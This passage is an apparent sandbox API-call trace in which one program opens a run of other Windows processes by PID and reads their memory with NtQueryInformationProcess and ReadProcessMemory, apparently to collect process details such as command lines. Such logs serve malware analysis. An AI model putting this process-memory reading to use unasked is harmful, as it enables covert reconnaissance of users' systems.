_ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0346.766] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0346.766] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.766] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.767] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0346.767] GetLastError () returned 0x0 [0346.767] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.767] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.767] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.767] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.767] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.768] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.768] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.768] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.768] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.768] malloc (_Size=0x76) returned 0xea96a0 [0346.768] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea96a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.769] free (_Block=0xea96a0) [0346.769] CloseHandle (hObject=0xa9c) returned 1 [0346.770] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0346.770] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0346.770] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.770] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.771] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0346.771] GetLastError () returned 0x0 [0346.771] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.771] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.772] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.772] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.772] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.772] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.772] malloc (_Size=0x7a) returned 0xe88000 [0346.772] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe88000, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88000*, lpNumberOfBytesRead=0x0) returned 1 [0346.773] free (_Block=0xe88000) [0346.773] CloseHandle (hObject=0xa9c) returned 1 [0346.774] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0346.774] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0346.774] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.774] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.775] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0346.775] GetLastError () returned 0x0 [0346.775] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.776] malloc (_Size=0x76) returned 0xea9820 [0346.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea9820, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0346.777] free (_Block=0xea9820) [0346.777] CloseHandle (hObject=0xa9c) returned 1 [0346.777] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0346.778] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0346.778] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.778] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0346.779] GetLastError () returned 0x0 [0346.779] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.780] malloc (_Size=0x5e) returned 0xeb6540 [0346.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb6540, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0346.781] free (_Block=0xeb6540) [0346.781] CloseHandle (hObject=0xa9c) returned 1 [0346.781] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0346.782] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0346.782] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.782] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0346.783] GetLastError () returned 0x0 [0346.783] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.783] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.785] malloc (_Size=0x66) returned 0xeb63f0 [0346.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb63f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0346.785] free (_Block=0xeb63f0) [0346.785] CloseHandle (hObject=0xa9c) returned 1 [0346.786] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0346.786] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0346.786] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.786] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0346.787] GetLastError () returned 0x0 [0346.787] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.787] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.787] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.787] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.788] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.788] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.788] malloc (_Size=0x6c) returned 0xea8d20 [0346.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea8d20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0346.790] free (_Block=0xea8d20) [0346.790] CloseHandle (hObject=0xa9c) returned 1 [0346.790] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0346.790] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0346.790] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.790] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.791] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0346.791] GetLastError () returned 0x0 [0346.791] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.791] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.792] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.792] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.793] malloc (_Size=0x54) returned 0xea9e70 [0346.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xea9e70, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9e70*, lpNumberOfBytesRead=0x0) returned 1 [0346.793] free (_Block=0xea9e70) [0346.793] CloseHandle (hObject=0xa9c) returned 1 [0346.794] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0346.794] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0346.794] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.794] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.795] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0346.795] GetLastError () returned 0x0 [0346.795] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.796] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.796] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.796] malloc (_Size=0x6c) returned 0xea8aa0 [0346.796] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea8aa0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0346.797] free (_Block=0xea8aa0) [0346.797] CloseHandle (hObject=0xa9c) returned 1 [0346.797] _ui64tow_s (in: _Value=0x1638, 